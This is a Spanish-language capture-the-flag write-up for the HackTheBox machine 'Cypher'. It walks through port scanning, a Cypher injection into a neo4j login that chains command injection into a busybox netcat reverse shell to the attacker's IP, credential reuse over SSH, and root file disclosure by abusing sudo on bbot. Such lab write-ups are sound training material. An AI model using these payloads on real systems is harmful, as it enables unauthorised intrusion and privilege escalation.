Post

Cypher - HackTheBox Season 7

Guía en español para Cypher - HackTheBox Season 7

Cypher - HackTheBox Season 7

Escaneo de puertos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-05 20:19 CET
Nmap scan report for cypher.htb (10.10.11.57)
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
No OS matches for host
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puerto web

alt text

En el portal web encontramos lo que parece una aplicación que utiliza grafos para mostrar la información sobre la superficie de ataque de un objetivo o empresa.

Si hacemos click en probar el demo nos redirige a un portal para iniciar sesión.

Probando inyección básica para probar el login vemos lo siguiente:

alt text

Vemos que efectivamente tenemos posibilidad de inyectar comandos en el portal web pero la base de datos (como era de esperar por la naturaleza de la aplicación) es de tipo NOSQL, es neo4j y se basa en bases de datos para grafos.

Tras un rato probando direntes inyecciones de tipo cypher no conseguí nada efectivo.

Cypher inyections cheatsheet

Fuzzing de directorios

Mientras tanto realizamos un fuzzing de directorios sobre la web y por suerte encontramos una ruta que parece ser interesante.

alt text

Dentro encontramos un archivo .jar con nombre apoc-extensión que puede ser potencialemente valioso ya que se trata de una extensión utilizada por neo4j.

alt text

Al abirlo en un decodificador online de jar encontramos que efectivamente se trata de un plugin para la base de datos neo4j.

alt text

Dentro del código vemos una clase interesante que añade una función para hacer petciones HTTP y devuelve el estado de la misma.

alt text

Inyección cypher en neo4j

Para hacer uso de esta función customizada en la base de datos necesitamos llamarla con el prefijo custom. y el nombre de la función, pero antes debemos fijarnos en como toma el valor del nombre de usuario la base de datos y para esto podemos servirnos del error obtenido en Burp.

alt text

Sabiendo que esto es así podemos crear el payload de inyección y probarlo.

1
a' return h.value as a UNION CALL custom.getUrlStatusCode("http://10.10.16.73:80;busybox nc 10.10.16.73 4444 -e /bin/bash;#") YIELD statusCode AS a RETURN a;//

Utilizamos la revshell con busybox ya que parece que el sistema no tiene nc por defecto o no lo tiene referenciado en el PATH.

Dato : busybox es un binario multi-herramienta común en sistemas embebidos o con recursos limitados. Muchas distribuciones minimalistas (como routers, IoT o contenedores) no incluyen nc independiente, pero sí busybox, que integra nc entre otras utilidades.

alt text

alt text

Ahora tenemos acceso a la maquina como el usuario neo4j.

Tras un rato mirando archivos encontramos algo interesante, unas credenciales de acceso.

alt text

Nota : Este usuario no tiene privilegios para acceder a la user flag.

Acceso como usuario

Probando las credenciales encontradas con el usuario graphasm por ssh tenemos acceso a la maquina.

alt text

User flag

alt text

Escalada de privilegios

Haciendo una comprobación básica de permisos sudo vemos que tiene permisos root en la ejecución de cun binario llamado bbot.

alt text

BBot Github

Parece que BBot es una herramienta de reoconocimiento automatizada para la exploración de vulnerabilidades en aplicaciones web.

En la wiki buscando que módulos tiene que puedan ser útiles encontramos las yara rules.

alt text

Esto nos permite cargar reglas yara para buscar en el código de la aplicación web.

El plan es indicar que la flag como root.txt es un fichero de reglas yara para que este lo cargue ya que tiene privilegios root.

alt text

Parece que carga los datos del fichero pero no muestra nada de las reglas.

Buscando más información en los parámetros de uso de BBot encontramos un parámetro llamado -d que basicamente es igual a un clásico --verbose.

alt text

Esto nos mostrará más información en el proceso de carga de las reglas.

Nota : El parámetro marcado con una flecha no lo usé pero es muy útil ya que para el escaneo antes de ser ejecutado pero siempre podemos pararlo manualmente con Ctrl+C.

Si ahora ejecutamos el comando con el parámetro -d podemos ver que se está cargando el archivo de la flag como una regla yara y muestra el contenido de la misma.

1
sudo /usr/local/bin/bbot -cy /root/root.txt -d

Root flag

alt text

This post is licensed under CC BY 4.0 by the author.